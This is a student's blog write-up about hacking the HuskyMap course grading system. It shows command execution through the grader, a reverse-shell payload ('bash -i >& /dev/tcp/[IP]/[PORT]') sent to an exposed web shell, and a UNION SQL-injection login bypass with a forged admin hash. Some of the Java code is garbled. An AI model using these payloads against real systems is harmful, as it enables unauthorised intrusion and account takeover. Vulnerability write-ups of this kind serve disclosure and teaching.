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[Special: Bug Hunting] RCE and SQL Injection! (HuskyMap)

  • avatar
    Vincent C.


HuskyMap is the homework/grading system created and used in CS211 by Professor Varik Hoang. Students log in with credentials provided to them at the beginning of the course, and mainly utilize two of HuskyMap's functions: Quiz Taking and Sanity Checks (test case validation for programming assignments).

Part 1: Discovery

It was 5AM on Wednesday, and with a calculus and biology exam on Friday and the ACT on Saturday, I did what any other student would do with huge priorities looming ahead: procrastinate by booting up my HuskyMap and looking for trouble! 😊

The first thing I tried was testing for RCE through the sanity check system. Hijacking one of my java assignments, I appended this into the main method:

String command = "ls";
Process p;
try {
  p = Runtime.getRuntime().exec(command);
  InputStream in = p.getInputStream();
  int c;
  while ((c = != -1) {
    System.out.print((char) c);
} catch (Exception e) {

I was able to confirm the command executed by viewing the error logs on HuskyMap, but this didn't come as unexpected. Many homework graders and online compilers all have "RCE" possibilities, but since they're virtualized nothing really comes of it.

Unfortunately for HuskyMap, after some testing, I found that it wasn't virtualized at all. Now honestly I could've stopped here, but I wasn't satisfied. I didn't have read/write access to a lot of things, and uploading new code each time was getting time consuming with the built-in 5 minute sanity check cooldown. I also wanted a reverse shell, but through the sanity check, my payload wasn't working. pwd was giving me /var/www/html/course/grading/log/work/48.17, but I wasn't able to access any file I created by navigating to this directory. I discovered later that my dead-end's were due to how the grader worked, but in the meantime, what I did was map out how most of the directory tree looked.

Part 2: Reverse Shell Access

After mapping out the directory tree, I looked at cat /var/www/html/course/index.php. In particular, I noticed a particularly interesting chunk of code:

    // already logged in and has valid page
    if (isset($_SESSION['account']))
        include 'pages/data.php';
        include 'pages/menu.php';
        if ($is_valid_page_id)
            if ($page['is_intro'])
                include 'pages/intro.php';

            include 'pages/' .$page['directory_path'] . "/" . $page['file_path'];
            if ($account['permission'] > 0) // TODO should be more secure later
                echo '<div style="text-align: center"><input class="btn btn-primary btn-sm" type="button" onclick="window.location.href = \'?editor=' . $page_id . '\'" value="Edit Page"></div></br/>';
            // window.location.href = '';   => simulate a mouse click
            // window.location.replace(''); => simulate an HTTP redirect
        else if ($is_valid_editor_id) // TODO should be more secure later
            include 'pages/editor.php';
            if ($account['permission'] > 0) // TODO should be more secure later
                echo '<div style="text-align: center">';
                echo '<input id="view_page" disabled class="btn btn-primary btn-sm" type="button" onclick="';
                echo 'window.location.href = \'?page=' . $page_id . '\';';
                echo '" value="View Page">';
                echo '</div></br/>';
        else if (isset($_GET["slide"])) // TODO should be more secure later
            include 'pages/slide.php';
        else if ($is_valid_quiz_id)
            if ($quiz['password'] === '' || (isset($_GET['pass']) && $quiz['password'] === trim($_GET['pass'])))
            include 'pages/quiz.php';
        else if ($is_valid_contest_id && $contest['password'] === '' || (isset($_GET['pass']) && $contest['password'] === trim($_GET['pass'])))
            include 'pages/contest.php';
        else if (isset($_GET["manage"]) || isset($_POST["manage"])) // TODO should be more secure later
            include 'pages/manage.php';
        else if (isset($_GET["error"])) // TODO should be more secure later
            include 'pages/error.php';
        else if (isset($_GET["shell"]) && $account['permission'] > 0) // TODO should be more secure later
            include 'pages/shell.php';
            include 'pages/course.php';
    else include 'pages/login.php';

These brackets though...!!!

TODO should be more secure later

Well I guess that later hadn't occured yet because I was able to access shell.php just by navigating there on my browser. Reminder to configure apache correctly!


I couldn't interact with it on the browser, but looking at shell.php, I was able to figure out it was a fork of p0wny@shell!

Now for the magic, sending a POST request to /shell.php?feature=shell with the cmd field as
bash -c "bash -i >& /dev/tcp/[IP]/[PORT] 0>&1"!

POST http://[HUSKYMAP IP]/course/pages/shell.php?feature=shell
POST /course/pages/shell.php?feature=shell HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Cache-Control: no-cache
Postman-Token: [Removed]
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 91


Reverse Shell Get!

Part 3: Login SQL Injection

After getting the reverse shell, I decided to poke around a bit more. One thing that really stuck out to me is how the login was handled in login.php

$username = trim($_POST['username']);
$password = trim($_POST['password']);

$db = new SQLite3('db/course.db');
$query  = 'select * from user ';
$query .= 'where username = "' . $username . '" and is_active = 1';

$result = $db->query($query);
$user = $result->fetchArray();

if ($user && password_verify($password, $user['password']))

Wow, a string concatenated SQL statement! Referencing this post along with the course database, our final payload is as follows:

Username: admin" UNION SELECT 1, 'admin', '$1$d39Yd9ds$B.wYz.OSxB/HdGmKWWpP10', 'admin', '', '', '', 2, 1 ;--
Password: SQLInjection!!! (hash generated using PHP crypt())


Although the vulnerability discovered here isn't the most innovative, it was a good exercise and a reminder that not all application in production are completely secure. Thank you to Professor Varik for being so open to my little endeavour, and for being an awesome CS211 instructor!